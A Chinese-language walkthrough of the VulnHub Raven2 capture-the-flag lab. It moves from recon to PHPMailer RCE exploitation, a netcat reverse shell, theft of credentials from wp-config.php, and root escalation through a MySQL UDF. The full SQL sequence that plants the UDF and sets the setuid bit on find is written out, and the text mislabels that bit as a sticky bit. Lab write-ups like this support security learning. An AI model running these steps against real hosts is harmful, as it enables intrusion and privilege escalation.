- Raven2 下载地址:https://www.vulnhub.com/entry/raven-2,269/
Raven2 是之前的 Raven 靶机系列的第2关。目标也是获取靶机上的4个flag。
目录
- 主机发现,端口扫描
- 80 端口和 WordPress CMS 的发现
- 枚举目录,查找
vendor
目录 - 发现文件
PATH
并从中获得flag1
- 发现文件
VERSION
并从中获取 PHPMailer 的版本 - 利用 PHP 5.2.6 版本的 RCE 漏洞
- 对 exploit 进行适当修改,以便成功利用
- 通过发送的 payload 来获取 netcat shell
- 在
/var/www
中获取flag2
- 在 wordpress 目录下查找
wp-config.php
文件,并从中读取数据库密码 - 使用
LinEnum.sh
脚本枚举 Linux 活动进程 - 使用 exploit-db 上名为
1518.c
的 UDF 动态库漏洞利用程序进行提权 - 在
find
程序设置 sticky 位 - 获取 root 访问权限
- 在
/root
下获得flag4
- 通过遍历系统找到
flag3
让我们开始 hacking 吧。
首先使用 netdiscover
发现网络上的主机,本例中靶机的 IP 为:192.168.166.200
- netdiscover -i eth0
使用 nmap 对靶机进行扫描,可以看到靶机打开了3个端口:22
、80
和111
- nmap -A 192.168.166.200
于是我们把目光放到 80 端口,可以看到一个 Raven Security 的网站。
image.png使用 dirb
工具对站点进行目录扫描,可发现存在 vendor
目录
访问 http://192.168.166.200/vendor/
发现,该路径存在目录遍历:
查看 PATH
文件可得到 flag1
在该路径下,还有一个文件名值得注意,那就是 VERSION
,查看该文件可看到一个版本号:5.2.6
再看 /vendor
目录下,还有几个文件名含有 phpmailer
的文件,如 PHPMailerAutoload.php
,可确定 5.2.6
是 PHPMailer
的版本号。
于是使用 searchsploit
在 exploit-db
中搜索 PHPMailer
相关的 exp
:
这里我们选择 40974.py
- searchsploit -m 40974.py
修改 40974.py
,如下:
然后运行 40974.py
然后用 nc
监听本机的 443
端口:
此时,访问 http://192.168.166.200/shell.php
,本机会得到一个反向 shell
利用 Python 的 pty
模块获得一个 bash shell
在 /var/www/flag2.txt
中读取 flag2
将 LinEnum.sh
脚本想办法导入到靶机中,该脚本可以枚举各种 Linux 系统的各种信息。
执行 LinEnum.sh
脚本,可以看到靶机上运行着 MySQL
服务:
另外,通过 ps -ef |grep mysql
查看进程得知,MySQL
服务使以 root
权限启动的,因此可以想到等会可以利用 MySQL UDF 进行提权。更多信息见:https://legalhackers.com/advisories/mysql-exploit-remote-root-code-execution-privesc-cve-2016-6662.html
使用 searchsploit 从 exploit-db 中搜索相关的 exploit :
- searchsploit mysql udf
这里选择用 1518.c
, 下载它:
打开 1518.c
可看到里面有使用说明:
按照使用说明,使用 1518.c
进行编译,生成共享库 1518.so
,并导入到靶机中。
接着,为了进入 MySQL shell,我们进入 /var/www/html/wordpress
目录下找到 wp-config.php
文件,因为里面记录了数据库的用户名/密码:
于是,进入 MySQL shell:
依次执行下面的语句:
image.pnguse mysql
create table foo(line blob); #创建一个表,名为 foo。
insert into foo values(load_file('/tmp/1518.so')); #将 1518.so 导入 foo 表。
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so'; #将1518.so转储到 /usr/lib/mysql/plugin 目录中。
create function do_system returns integer soname '1518.so'; #最重要的一步,创建一个名为 do_system 的 UDF 函数,它将调用实现该函数的代码。
select do_system('chmod u+s /usr/bin/find'); #调用do_system() 函数,执行chmod 命令,对 /usr/bin/find 设置 sticky 位
此时,回到 /tmp
目录,使用 find
命令来获取 root shell
查找并获取 flag4
:
查找并获取 flag3
:
网友评论